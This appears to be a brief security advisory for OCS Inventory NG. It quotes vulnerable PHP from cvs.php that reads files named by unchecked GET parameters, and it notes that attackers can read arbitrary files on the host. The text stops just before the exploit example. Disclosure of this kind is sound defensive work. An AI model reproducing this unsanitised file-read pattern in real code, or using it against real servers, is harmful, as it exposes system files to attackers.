The Open Computer and Software (OCS) Inventory Next Generation (NG)

cvs.php:
} elseif (isset($_GET['log'])){
if (file_exists($_GET['rep'].$_GET['log'])){
$tab = file($_GET['rep'].$_GET['log']);
while(list($cle,$val) = each($tab)) {
$toBeWritten .= $val."\r\n";
}
$filename=$_GET['log'];
}
}
* Impact
Attackers may be able to read arbitrary files from the hosting system.
* Exploit
The vulnerability can be exploited by just using a web browser:
